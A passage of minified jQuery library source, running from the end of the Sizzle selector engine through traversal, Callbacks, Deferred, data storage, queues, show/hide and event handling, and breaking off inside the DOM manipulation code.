"],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u<o;u++)if(n=r.relative[e[u].type])p=[me(xe(p),n)];else{if((n=r.filter[e[u].type].apply(null,e[u].matches))[b]){for(i=++u;i<o;i++)if(r.relative[e[i].type])break;return Te(u>1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u<i&&Ce(e.slice(u,i)),i<o&&Ce(e=e.slice(i)),i<o&&ve(e))}p.push(n)}return xe(p)}function Ee(e,t){var n=t.length>0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t<r;t++)if(w.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)w.find(e,i[t],n);return r>1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(w.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&w(e);if(!D.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?a.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s<o.length)!1===o[s].apply(n[0],n[1])&&e.stopOnFalse&&(s=o.length,n=!1)}e.memory||(n=!1),t=!1,i&&(o=n?[]:"")},l={add:function(){return o&&(n&&!t&&(s=o.length-1,a.push(n)),function t(n){w.each(n,function(n,r){g(r)?e.unique&&l.has(r)||o.push(r):r&&r.length&&"string"!==x(r)&&t(r)})}(arguments),n&&!t&&u()),this},remove:function(){return w.each(arguments,function(e,t){var n;while((n=w.inArray(t,o,n))>-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t<o)){if((e=r.apply(s,u))===n.promise())throw new TypeError("Thenable self-resolution");l=e&&("object"==typeof e||"function"==typeof e)&&e.then,g(l)?i?l.call(e,a(o,n,I,i),a(o,n,W,i)):(o++,l.call(e,a(o,n,I,i),a(o,n,W,i),a(o,n,I,n.notifyWith))):(r!==I&&(s=void 0,u=[e]),(i||n.resolveWith)(s,u))}},c=i?l:function(){try{l()}catch(e){w.Deferred.exceptionHook&&w.Deferred.exceptionHook(e,c.stackTrace),t+1>=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},X=/^-ms-/,U=/-([a-z])/g;function V(e,t){return t.toUpperCase()}function G(e){return e.replace(X,"ms-").replace(U,V)}var Y=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function Q(){this.expando=w.expando+Q.uid++}Q.uid=1,Q.prototype={cache:function(e){var t=e[this.expando];return t||(t={},Y(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[G(t)]=n;else for(r in t)i[G(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][G(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)||[]).length;while(n--)delete r[t[n]]}(void 0===t||w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!w.isEmptyObject(t)}};var J=new Q,K=new Q,Z=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,ee=/[A-Z]/g;function te(e){return"true"===e||"false"!==e&&("null"===e?null:e===+e+""?+e:Z.test(e)?JSON.parse(e):e)}function ne(e,t,n){var r;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(ee,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n=te(n)}catch(e){}K.set(e,t,n)}else n=void 0;return n}w.extend({hasData:function(e){return K.hasData(e)||J.hasData(e)},data:function(e,t,n){return K.access(e,t,n)},removeData:function(e,t){K.remove(e,t)},_data:function(e,t,n){return J.access(e,t,n)},_removeData:function(e,t){J.remove(e,t)}}),w.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=K.get(o),1===o.nodeType&&!J.get(o,"hasDataAttrs"))){n=a.length;while(n--)a[n]&&0===(r=a[n].name).indexOf("data-")&&(r=G(r.slice(5)),ne(o,r,i[r]));J.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof e?this.each(function(){K.set(this,e)}):z(this,function(t){var n;if(o&&void 0===t){if(void 0!==(n=K.get(o,e)))return n;if(void 0!==(n=ne(o,e)))return n}else this.each(function(){K.set(this,e,t)})},null,t,arguments.length>1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length<n?w.queue(this[0],e):void 0===t?this:this.each(function(){var n=w.queue(this,e,t);w._queueHooks(this,e),"fx"===e&&"inprogress"!==n[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=w.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=J.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var re=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,ie=new RegExp("^(?:([+-])=|)("+re+")([a-z%]*)$","i"),oe=["Top","Right","Bottom","Left"],ae=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&w.contains(e.ownerDocument,e)&&"none"===w.css(e,"display")},se=function(e,t,n,r){var i,o,a={};for(o in t)a[o]=e.style[o],e.style[o]=t[o];i=n.apply(e,r||[]);for(o in t)e.style[o]=a[o];return i};function ue(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return w.css(e,t,"")},u=s(),l=n&&n[3]||(w.cssNumber[t]?"":"px"),c=(w.cssNumber[t]||"px"!==l&&+u)&&ie.exec(w.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)w.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,w.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var le={};function ce(e){var t,n=e.ownerDocument,r=e.nodeName,i=le[r];return i||(t=n.body.appendChild(n.createElement(r)),i=w.css(t,"display"),t.parentNode.removeChild(t),"none"===i&&(i="block"),le[r]=i,i)}function fe(e,t){for(var n,r,i=[],o=0,a=e.length;o<a;o++)(r=e[o]).style&&(n=r.style.display,t?("none"===n&&(i[o]=J.get(r,"display")||null,i[o]||(r.style.display="")),""===r.style.display&&ae(r)&&(i[o]=ce(r))):"none"!==n&&(i[o]="none",J.set(r,"display",n)));for(o=0;o<a;o++)null!=i[o]&&(e[o].style.display=i[o]);return e}w.fn.extend({show:function(){return fe(this,!0)},hide:function(){return fe(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ae(this)?w(this).show():w(this).hide()})}});var pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)J.set(e[n],"globalEval",!t||J.get(t[n],"globalEval"))}var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))w.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+w.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;w.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&w.inArray(o,r)>-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="<textarea>x</textarea>",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n<arguments.length;n++)u[n]=arguments[n];if(t.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,t)){s=w.event.handlers.call(this,t,l),n=0;while((o=s[n++])&&!t.isPropagationStopped()){t.currentTarget=o.elem,r=0;while((a=o.handlers[r++])&&!t.isImmediatePropagationStopped())t.rnamespace&&!t.rnamespace.test(a.namespace)||(t.handleObj=a,t.data=a.data,void 0!==(i=((w.event.special[a.origType]||{}).handle||a.handler).apply(o.elem,u))&&!1===(t.result=i)&&(t.preventDefault(),t.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,t),t.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&e.button>=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?w(i,this).index(l)>-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(e,t){Object.defineProperty(w.Event.prototype,e,{enumerable:!0,configurable:!0,get:g(t)?function(){if(this.originalEvent)return t(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[e]},set:function(t){Object.defineProperty(this,e,{enumerable:!0,configurable:!0,writable:!0,value:t})}})},fix:function(e){return e[w.expando]?e:new w.Event(e)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==Se()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===Se()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&N(this,"input"))return this.click(),!1},_default:function(e){return N(e.target,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},w.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},w.Event=function(e,t){if(!(this instanceof w.Event))return new w.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ee:ke,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&w.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[w.expando]=!0},w.Event.prototype={constructor:w.Event,isDefaultPrevented:ke,isPropagationStopped:ke,isImmediatePropagationStopped:ke,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ee,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ee,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ee,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},w.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(e){var t=e.button;return null==e.which&&we.test(e.type)?null!=e.charCode?e.charCode:e.keyCode:!e.which&&void 0!==t&&Te.test(e.type)?1&t?1:2&t?3:4&t?2:0:e.which}},w.event.addProp),w.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,o=e.handleObj;return i&&(i===r||w.contains(r,i))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),w.fn.extend({on:function(e,t,n,r){return De(this,e,t,n,r)},one:function(e,t,n,r){return De(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,w(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=ke),this.each(function(){w.event.remove(this,e,n,t)})}});var Ne=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/<script|<style|<link/i,je=/checked\s*(?:[^=]|=\s*.checked.)/i,qe=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n<r;n++)w.event.add(t,i,l[i][n])}K.hasData(e)&&(s=K.access(e),u=w.extend({},s),K.set(t,u))}}function Me(e,t){var n=t.nodeName.toLowerCase();"input"===n&&pe.test(e.type)?t.checked=e.checked:"input"!==n&&"textarea"!==n||(t.defaultValue=e.defaultValue)}function Re(e,t,n,r){t=a.apply([],t);var i,o,s,u,l,c,f=0,p=e.length,d=p-1,y=t[0],v=g(y);if(v||p>1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var 